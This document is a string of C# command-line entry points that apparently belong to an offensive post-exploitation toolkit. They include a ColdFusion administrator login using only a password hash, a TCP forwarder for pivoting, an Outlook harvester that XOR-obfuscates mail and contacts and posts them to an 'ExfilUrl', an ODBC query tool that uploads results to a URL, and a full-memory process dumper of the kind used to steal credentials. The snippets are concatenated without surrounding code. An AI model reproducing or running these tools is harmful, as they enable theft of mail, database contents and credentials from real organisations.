static void Main(string[] args) { ArgParse argparse = new ArgParse ( new ArgItem("base-url", "b", true, "The base url of the coldfusion administrator.", "", ArgParse.ArgParseType.Url), new ArgItem("password-hash", "p", true, "The SHA1 hash of the administrator password.", "", ArgParse.ArgParseType.String), new ArgItem("web-proxy", "w", false, "The proxy server url. ex: http://127.0.0.1:8080", "", ArgParse.ArgParseType.String) ); argparse.parse(args); baseUrl = argparse.Get <string>("base-url"); string passwordHash = argparse.Get <string>("password-hash"); string webProxyString = argparse.Get <string>("web-proxy"); if (webProxyString != null && webProxyString.Length > 0) { wc.Proxy = proxy; } Login(passwordHash); List <string> urls = GetArchiveUrls(); foreach (string url in urls) { ArchiveLog(url); } }
static void Main(string[] args) { ArgParse argparse = new ArgParse ( new ArgItem("ip-address", "i", false, "ip address to bind on", "0.0.0.0", ArgParse.ArgParseType.String), new ArgItem("port", "p", false, "username", "110", ArgParse.ArgParseType.Int), new ArgItem("mail-store-type", "t", false, "Indicates where the mail store is located", "AWS", ArgParse.ArgParseType.Choice, new string[] { "filesystem", "aws" }) ); argparse.parse(args); string ipString = argparse.Get <string>("ip-address"); int port = argparse.Get <int>("port"); string mailStoreType = argparse.Get <string>("mail-store-type"); IPAddress ip = IPAddress.Parse(ipString); TcpListener serverSocket = new TcpListener(ip, port); TcpClient clientSocket = new TcpClient(); serverSocket.Start(); try { while (true) { clientSocket = serverSocket.AcceptTcpClient(); ClientHandler client = new ClientHandler(); client.startClient(getDriver(clientSocket, mailStoreType)); } } catch (Exception e) { Console.WriteLine(e.Message); } finally { clientSocket.Close(); serverSocket.Stop(); } }
static void Main(string[] args) { ArgParse argparse = new ArgParse ( new ArgItem("src-port", "sp", true, "Source Port", "7701", ArgParse.ArgParseType.Int), new ArgItem("src-ip", "si", false, "Source Ip", "0.0.0.0", ArgParse.ArgParseType.String), new ArgItem("dst-port", "dp", true, "Destination Port", "", ArgParse.ArgParseType.Int), new ArgItem("dst-ip", "di", true, "Destination Ip", "", ArgParse.ArgParseType.String) ); argparse.parse(args); int srcPort = argparse.Get <int>("src-port"); IPAddress srcIp = IPAddress.Parse(argparse.Get <string>("src-ip")); int dstPort = argparse.Get <int>("dst-port"); IPAddress dstIp = IPAddress.Parse(argparse.Get <string>("dst-ip")); SimpleTcpForwarder fwder = new SimpleTcpForwarder(); IPEndPoint sep = new IPEndPoint(srcIp, srcPort); IPEndPoint dep = new IPEndPoint(dstIp, dstPort); fwder.Start(sep, dep); }
static void Main(string[] args) { ArgParse argparse = new ArgParse ( new ArgItem("action", "a", true, "Action to be taken", "", ArgParse.ArgParseType.Choice, new string[] { "accounts", "all", "contacts", "list_fields", "messages_meta", "message_single", "message_full" }), new ArgItem("entry-id", "e", false, "Outlook generated entry id of the record to fetch.", "", ArgParse.ArgParseType.String), new ArgItem("max-records", "m", false, "Number of messages to retrieve", "1000", ArgParse.ArgParseType.String), new ArgItem("body-contains-regex", "br", false, "Regex for searching email", "", ArgParse.ArgParseType.String), new ArgItem("body-contains", "bc", false, "String for searching email body (insensitive).", "", ArgParse.ArgParseType.String), new ArgItem("subject-contains-regex", "sr", false, "Filters messages if the subject contains the specified value.", "", ArgParse.ArgParseType.String), new ArgItem("subject-contains", "sc", false, "Filters messages if the subject contains the specified value.", "", ArgParse.ArgParseType.String), new ArgItem("max-message-size", "fs", false, "Restricts gathered messages to the specified size in bytes.", "", ArgParse.ArgParseType.String), new ArgItem("output", "o", false, "Output type: csv,json", "json", ArgParse.ArgParseType.Choice, new string[] { "csv", "json" }), new ArgItem("url", "u", false, "url where data will be posted", "", ArgParse.ArgParseType.Url), new ArgItem("xor-key", "x", false, "Xor data before transmitting", "", ArgParse.ArgParseType.String), new ArgItem("fields", "f", false, "Fields to include in final output. If not specified, all fields are returned", "", ArgParse.ArgParseType.String) ); argparse.parse(args); string action = argparse.Get <string>("action"); App app = new App(); app.EntryId = argparse.Get <string>("entry-id"); app.MaxRecords = argparse.Get <int>("max-records", 1000); app.BodyContains = argparse.Get <string>("body-contains"); app.BodyContainsRegex = argparse.Get <string>("body-contains-regex"); app.SubjectContains = argparse.Get <string>("subject-contains"); app.SubjectContainsRegex = argparse.Get <string>("subject-contains-regex"); app.MaxMessageSize = argparse.Get <long>("max-message-size", 1024 * 4); app.OutputFormat = argparse.Get <string>("output", "json"); app.ExfilUrl = argparse.Get <string>("url"); app.XorKey = argparse.Get <string>("xor-key"); Messages messagesObject = new Messages(app); Accounts accounts = new Accounts(app); Contacts contacts = new Contacts(app); string result = ""; switch (action.ToLower()) { case "list_fields": messagesObject.ListMailItems(); result = ""; for (int t = 0; t < app.OutlookDataSet.Tables.Count; t++) { DataTable table = app.OutlookDataSet.Tables[t]; Console.WriteLine(table.TableName); Console.WriteLine("-------------------------"); for (int c = 0; c < table.Columns.Count; c++) { DataColumn column = table.Columns[c]; Console.WriteLine(column.ColumnName); } Console.WriteLine(""); } break; case "contacts": contacts.ListContacts(); result = (app.OutputFormat.ToLower() == "json") ? Utils.ToJSONDataTable(app.OutlookDataSet.Tables["contacts"]) : Utils.ToCSV(app.OutlookDataSet.Tables["contacts"]); break; case "message_full": messagesObject.ListMailItems(); result = (app.OutputFormat.ToLower() == "json") ? Utils.ToJSONDataTable(app.OutlookDataSet.Tables["messages"]) : Utils.ToCSV(app.OutlookDataSet.Tables["messages"]); break; case "message_single": messagesObject.ListMailItems(); result = Utils.ToJSONDataTable(app.OutlookDataSet.Tables["messages"]); break; case "all": messagesObject.ListMailItems(); accounts.ListAccounts(); contacts.ListContacts(); result = (app.OutputFormat.ToLower() == "json") ? Utils.ToJSON(app.OutlookDataSet) : Utils.DataSetToCSV(app.OutlookDataSet); break; case "messages_meta": messagesObject.ListMailItems(); result = (app.OutputFormat.ToLower() == "json") ? Utils.ToJSON(app.OutlookDataSet) : Utils.DataSetToCSV(app.OutlookDataSet); break; default: accounts.ListAccounts(); result = (app.OutputFormat.ToLower() == "json") ? Utils.ToJSONDataTable(app.OutlookDataSet.Tables["accounts"]) : Utils.ToCSV(app.OutlookDataSet.Tables["accounts"]); break; } if (app.XorKey != null && app.XorKey.Length > 0) { result = Utils.XORData(app.XorKey, result); } if (app.ExfilUrl == null || app.ExfilUrl.Length == 0) { if (result.Length > 0) { Console.WriteLine(result); } } else { Utils.ExfilData(app.ExfilUrl, result); } Console.ReadLine(); }
static void Main(string[] args) { ArgParse argparse = new ArgParse ( new ArgItem("driver", "d", true, "ODBC Driver", "mssql", ArgParse.ArgParseType.Choice, new string[] { "mysql", "postgresql", "firebird", "mssql", "excel", "access" }), new ArgItem("username", "u", true, "username", "", ArgParse.ArgParseType.String), new ArgItem("password", "p", true, "password", "", ArgParse.ArgParseType.String), new ArgItem("host", "i", true, "the host name of the server", "", ArgParse.ArgParseType.String), new ArgItem("catalog", "c", true, "The catalog or database", "", ArgParse.ArgParseType.String), new ArgItem("sql", "s", true, "The sql statement to execute.", "", ArgParse.ArgParseType.String), new ArgItem("filter", "f", false, "Used with schema requests to filter by column or table.", "", ArgParse.ArgParseType.String), new ArgItem("output", "o", false, "Output type: csv,json", "json", ArgParse.ArgParseType.Choice, new string[] { "csv", "json" }), new ArgItem("url", "e", false, "url where data will be posted", "", ArgParse.ArgParseType.Url) ); argparse.parse(args); driverDict.Add("mssql", "SQL Server"); driverDict.Add("mysql", "mysql"); driverDict.Add("firebird", "firebird"); driverDict.Add("postgresql", "postgresql"); driverDict.Add("excel", "*.xlsx"); driverDict.Add("access", "*.accdb"); string driver = argparse.Get <string>("driver"); string username = argparse.Get <string>("username"); string password = argparse.Get <string>("password"); string host = argparse.Get <string>("host"); string database = argparse.Get <string>("catalog"); string sql = argparse.Get <string>("sql"); string filter = argparse.Get <string>("filter"); string output = argparse.Get <string>("output"); string url = argparse.Get <string>("url"); ListODBCDrivers(); //C:\Users\Owner\Downloads\portal.xlsx if (DriverExists(driver)) { string connectionString = string.Format(getConnectionString(driver), host, database, username, password); DataTable dt = new DataTable("table"); OdbcConnection connection = new OdbcConnection(connectionString); try { connection.Open(); if (sql.ToLower().StartsWith("schema:")) { string[] parts = sql.Split(':'); if (parts.Length == 2) { DataTable schemaDT = new DataTable("schema"); if (parts[1].ToLower() == "tables") { schemaDT = connection.GetSchema("Tables"); } if (parts[1].ToLower() == "columns") { schemaDT = connection.GetSchema("Columns"); } if (filter != null && filter.Length > 0) { DataRow[] rows = schemaDT.Select(filter); dt = rows.CopyToDataTable(); } else { dt = schemaDT; } } } else { OdbcCommand cmd = new OdbcCommand(sql, connection); OdbcDataReader dataReader = cmd.ExecuteReader(); dt.Load(dataReader); } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { if (connection.State == ConnectionState.Open) { connection.Close(); } } string result = ""; if (output.ToLower() == "csv") { result = DataTableToCsv(dt); } if (output.ToLower() == "json") { result = DataTableToJson(dt); } if (url == null || url.Length == 0) { Console.WriteLine(result); } else { WebClient wc = new WebClient(); wc.UploadString(url, result); } } else { string bitString = "x86"; if (is64bit) { bitString = "x64"; } Console.WriteLine(string.Format("ODBC Driver {0} does not exist. Is the {1} version of the driver installed on this machine?", driver, bitString)); } }
static void Main(string[] args) { ArgParse argparse = new ArgParse ( new ArgItem("dir", "d", false, "The directory where dump will be saved", @"C:\Users\Public", ArgParse.ArgParseType.String), new ArgItem("name", "n", false, "Name of process, with out the file extension, that should be dumped.", "", ArgParse.ArgParseType.String), new ArgItem("pid", "p", false, "Process ID of the process to be dumped.", "0", ArgParse.ArgParseType.Pid) ); argparse.parse(args); int pid = argparse.Get <int>("pid"); string processName = argparse.Get <string>("name"); string dir = argparse.Get <string>("dir"); List <Process> ProcList = new List <Process>(); if (pid == 0) { Process[] procs = Process.GetProcessesByName(processName); ProcList = procs.ToList <Process>(); } else { Process proc = Process.GetProcessById(pid); if (proc != null) { ProcList.Add(proc); } } string DumpDir = dir; if (!Directory.Exists(DumpDir)) { Directory.CreateDirectory(DumpDir); } foreach (Process p in ProcList) { if (IntPtr.Size == 4) { Console.WriteLine("This application should be compiled and run as x64"); Environment.Exit(0); } string filename = string.Format("{0}-{1}-{2}.dump", p.ProcessName, p.Id, DateTime.Now.ToString("yyyyMMddHHmmss")); string fullpath = Path.Combine(DumpDir, filename); using (FileStream fs = new FileStream(fullpath, FileMode.Create)) { bool b = MiniDumpWriteDump(p.Handle, p.Id, fs.SafeFileHandle.DangerousGetHandle(), MINIDUMPTYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); if (!b) { Console.WriteLine(string.Format("Dump Failed {0}", Marshal.GetLastWin32Error())); } else { Console.WriteLine(string.Format("{0} written to {1}", filename, DumpDir)); } fs.Close(); } } }